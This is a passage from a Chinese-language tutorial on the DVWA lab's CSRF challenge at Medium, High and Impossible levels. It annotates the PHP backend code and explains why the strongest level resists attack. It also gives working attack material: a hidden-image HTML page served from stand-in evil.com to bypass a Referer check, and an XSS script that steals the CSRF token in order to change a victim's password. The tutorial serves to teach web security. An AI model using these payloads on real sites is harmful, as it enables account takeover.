class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_REFERER&#x27;</span>], <span class="variable">$_SERVER</span>[<span class="string">&#x27;SERVER_NAME&#x27;</span>]) !== <span class="literal">false</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// $_SERVER[&#x27;SERVER_NAME&#x27;] = &#x27;dvwa.local&#x27;</span></span><br><span class="line"><span class="comment">// 只要Referer包含 &#x27;dvwa.local&#x27; 就能通过</span></span><br></pre></td></tr></table></figure><p><strong>绕过方式：</strong></p><p>创建文件名包含目标域名的HTML文件：</p><p>文件名：<code>dvwa.local.html</code></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>攻击页面<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>中奖通知<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- 当用户访问 http://evil.com/dvwa.local.html 时 --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- Referer会是: http://evil.com/dvwa.local.html --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- 包含了 &#x27;dvwa.local&#x27; 字符串！ --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&amp;password_conf=hacked&amp;Change=Change&quot;</span></span></span><br><span class="line"><span class="tag">         <span class="attr">width</span>=<span class="string">&quot;0&quot;</span> <span class="attr">height</span>=<span class="string">&quot;0&quot;</span> <span class="attr">style</span>=<span class="string">&quot;display:none;&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>完整路径示例：</strong></p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">攻击者服务器：http:<span class="comment">//evil.com/dvwa.local.html</span></span><br><span class="line">Referer: http:<span class="comment">//evil.com/dvwa.local.html</span></span><br><span class="line"><span class="function"><span class="title">stripos</span><span class="params">(<span class="string">&#x27;http://evil.com/dvwa.local.html&#x27;</span>, <span class="string">&#x27;dvwa.local&#x27;</span>)</span></span> = <span class="number">19</span>（找到了！）</span><br><span class="line">检查通过 ✅</span><br></pre></td></tr></table></figure><h4 id="方法2：目录名包含目标域名"><a href="#方法2：目录名包含目标域名" class="headerlink" title="方法2：目录名包含目标域名"></a>方法2：目录名包含目标域名</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">目录结构：</span><br><span class="line">evil.com/</span><br><span class="line">  └── dvwa.local/</span><br><span class="line">        └── attack.html</span><br><span class="line"></span><br><span class="line">访问：http:<span class="regexp">//</span>evil.com<span class="regexp">/dvwa.local/</span>attack.html</span><br><span class="line">Referer: http:<span class="regexp">//</span>evil.com<span class="regexp">/dvwa.local/</span>attack.html</span><br><span class="line">包含 <span class="string">&#x27;dvwa.local&#x27;</span> ✅</span><br></pre></td></tr></table></figure><h4 id="方法3：查询参数包含目标域名"><a href="#方法3：查询参数包含目标域名" class="headerlink" title="方法3：查询参数包含目标域名"></a>方法3：查询参数包含目标域名</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 访问：http://evil.com/attack.html?ref=dvwa.local --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- Referer: http://evil.com/attack.html?ref=dvwa.local --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 包含 &#x27;dvwa.local&#x27; ✅ --&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了CSRF Token和用户交互确认。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：检查是否提供了CSRF Token ★★★</span></span><br><span class="line"><span class="comment">// user_token - 用户提交的token</span></span><br><span class="line"><span class="comment">// session_token - 服务器session中存储的正确token</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护：验证CSRF Token ★★★</span></span><br><span class="line">    <span class="comment">// checkToken() - DVWA自定义函数</span></span><br><span class="line">    <span class="comment">// 作用：对比用户提交的token和session中的token是否匹配</span></span><br><span class="line">    <span class="comment">// 如果不匹配，重定向到index.php</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Token验证通过</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取新密码</span></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：stripslashes()去除反斜杠 ★★★</span></span><br><span class="line">    <span class="comment">// stripslashes() - 删除字符串中的反斜杠\</span></span><br><span class="line">    <span class="comment">// 作用：清理可能的转义字符</span></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_new</span> );</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_conf</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 验证两次密码是否一致</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// MD5加密</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 转义特殊字符</span></span><br><span class="line">        <span class="variable">$pass_new</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_new</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 更新密码</span></span><br><span class="line">        <span class="variable">$query</span>  = <span class="string">&quot;UPDATE `users` SET password = &#x27;<span class="subst">$pass_new</span>&#x27; WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27;;&quot;</span>;</span><br><span class="line">        <span class="variable">$result</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> ) : <span class="literal">false</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Password Changed.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Passwords did not match.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 生成新的CSRF Token ★★★</span></span><br><span class="line"><span class="comment">// generateSessionToken() - DVWA自定义函数</span></span><br><span class="line"><span class="comment">// 作用：生成随机token并存储到session</span></span><br><span class="line"><span class="comment">// 每次页面加载都会生成新token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>CSRF Token验证</strong> - 每个请求必须携带有效token</li><li><strong>Token随机生成</strong> - 每次页面加载生成新token</li><li><strong>stripslashes()</strong> - 额外输入过滤</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><ol><li><strong>仍使用GET请求</strong> - Token可能被记录</li><li><strong>Token可以被提取</strong> - 通过XSS或其他方式</li></ol><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：结合XSS漏洞"><a href="#方法1：结合XSS漏洞" class="headerlink" title="方法1：结合XSS漏洞"></a>方法1：结合XSS漏洞</h4><p>如果目标网站存在XSS漏洞，可以：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 假设DVWA存在XSS漏洞</span></span><br><span class="line"><span class="comment">// 注入JavaScript代码提取token</span></span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line"><span class="comment">// 1. 先访问CSRF页面获取token</span></span><br><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;http://dvwa.local/dvwa/vulnerabilities/csrf/&#x27;</span>)</span><br><span class="line">    .<span class="title function_">then</span>(<span class="function"><span class="params">response</span> =&gt;</span> response.<span class="title function_">text</span>())</span><br><span class="line">    .<span class="title function_">then</span>(<span class="function"><span class="params">html</span> =&gt;</span> &#123;</span><br><span class="line">        <span class="comment">// 2. 从HTML中提取token</span></span><br><span class="line">        <span class="keyword">var</span> parser = <span class="keyword">new</span> <span class="title class_">DOMParser</span>();</span><br><span class="line">        <span class="keyword">var</span> doc = parser.<span class="title function_">parseFromString</span>(html, <span class="string">&#x27;text/html&#x27;</span>);</span><br><span class="line">        <span class="keyword">var</span> token = doc.<span class="title function_">querySelector</span>(<span class="string">&#x27;input[name=&quot;user_token&quot;]&#x27;</span>).<span class="property">value</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 使用提取的token发起CSRF攻击</span></span><br><span class="line">        <span class="keyword">var</span> url = <span class="string">&#x27;http://dvwa.local/dvwa/vulnerabilities/csrf/&#x27;</span> +</span><br><span class="line">                  <span class="string">&#x27;?password_new=hacked&#x27;</span> +</span><br><span class="line">                  <span class="string">&#x27;&amp;password_conf=hacked&#x27;</span> +</span><br><span class="line">                  <span class="string">&#x27;&amp;Change=Change&#x27;</span> +</span><br><span class="line">                  <span class="string">&#x27;&amp;user_token=&#x27;</span> + token;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 4. 发送恶意请求</span></span><br><span class="line">        <span class="title function_">fetch</span>(url);</span><br><span class="line">    &#125;);</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><h4 id="方法2：社会工程学"><a href="#方法2：社会工程学" class="headerlink" title="方法2：社会工程学"></a>方法2：社会工程学</h4><p>虽然有token，但可以通过以下方式：</p><ol><li><p><strong>钓鱼攻击</strong></p><ul><li>创建仿冒的DVWA页面</li><li>诱导用户输入密码</li><li>实际上提交到攻击者服务器</li></ul></li><li><p><strong>中间人攻击</strong></p><ul><li>拦截用户请求</li><li>提取token</li><li>发起攻击</li></ul></li></ol><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完善的CSRF防护，几乎无法攻破。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 改进1：使用POST方法 ★★★</span></span><br><span class="line"><span class="comment">// $_POST - 从POST请求体获取数据，不会出现在URL中</span></span><br><span class="line"><span class="comment">// 更安全，不会被记录在浏览器历史、服务器日志等</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ CSRF Token验证 ★★★</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取当前密码（★★★ 新增 ★★★）</span></span><br><span class="line">    <span class="comment">// 这是关键改进：必须输入当前密码才能修改</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_current&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取新密码</span></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 清理输入</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_curr</span> );</span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_new</span> );</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_conf</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MD5加密当前密码（用于验证）</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_curr</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 转义特殊字符（防SQL注入）</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_curr</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$pass_new</span>  = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_new</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$pass_conf</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_conf</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进2：验证当前密码是否正确 ★★★</span></span><br><span class="line">    <span class="comment">// 查询数据库，检查当前密码是否匹配</span></span><br><span class="line">    <span class="comment">// 这样即使有CSRF攻击，攻击者也不知道用户的当前密码</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT password FROM `users` WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27; AND password = &#x27;<span class="subst">$pass_curr</span>&#x27;;&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> ) : <span class="literal">false</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 多重验证 ★★★</span></span><br><span class="line">    <span class="comment">// 条件1：当前密码验证通过</span></span><br><span class="line">    <span class="comment">// 条件2：新密码和确认密码一致</span></span><br><span class="line">    <span class="comment">// mysqli_num_rows($result) - 返回结果行数</span></span><br><span class="line">    <span class="comment">// == 1 表示找到了匹配的密码（当前密码正确）</span></span><br><span class="line">    <span class="keyword">if</span>( ( <span class="variable">$result</span> &amp;&amp; ( <span class="title function_ invoke__">mysqli_num_rows</span>( <span class="variable">$result</span> ) == <span class="number">1</span> ) ) &amp;&amp; ( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 所有验证通过</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// MD5加密新密码</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 更新密码</span></span><br><span class="line">        <span class="variable">$query</span>  = <span class="string">&quot;UPDATE `users` SET password = &#x27;<span class="subst">$pass_new</span>&#x27; WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27;;&quot;</span>;</span><br><span class="line">        <span class="variable">$result</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> ) : <span class="literal">false</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Password Changed.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 验证失败</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 输出错误信息（不透露具体原因，安全实践）</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Either your current password is incorrect or the new passwords did not match.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成新的CSRF Token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><ol><li><strong>POST请求</strong> - 密码不出现在URL</li><li><strong>CSRF Token</strong> - 每次请求必须有效token</li><li><strong>验证当前密码</strong> - 必须知道旧密码才能改</li><li><strong>新密码确认</strong> - 两次输入必须一致</li><li><strong>SQL注入防护</strong> - 使用mysqli_real_escape_string</li><li><strong>错误信息模糊</strong> - 不透露具体失败原因</li></ol><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>攻击者的困境：</strong></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">CSRF攻击需要：</span><br><span class="line">1. 有效的CSRF Token ✓（可能通过XSS获取）</span><br><span class="line">2. 知道用户当前密码 ✗（攻击者不知道！）</span><br><span class="line"></span><br><span class="line">即使构造了请求：</span><br><span class="line">POST /dvwa/vulnerabilities/csrf/</span><br><span class="line"><span class="attribute">password_current</span>=?????  ← 攻击者不知道</span><br><span class="line"><span class="attribute">password_new</span>=hacked</span><br><span class="line"><span class="attribute">password_conf</span>=hacked</span><br><span class="line"><span class="attribute">user_token</span>=有效token</span><br><span class="line"></span><br><span class="line">结果：当前密码验证失败，攻击失败</span><br></pre></td></tr></table></figure><p><strong>防御层级：</strong></p><ol><li>Token验证 → 防止简单CSRF</li><li>当前密码验证 → 即使有token也无法攻击</li><li>POST请求 → 避免信息泄露</li><li>双重密码确认 → 防止输入错误</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-使用CSRF-Token（推荐）"><a 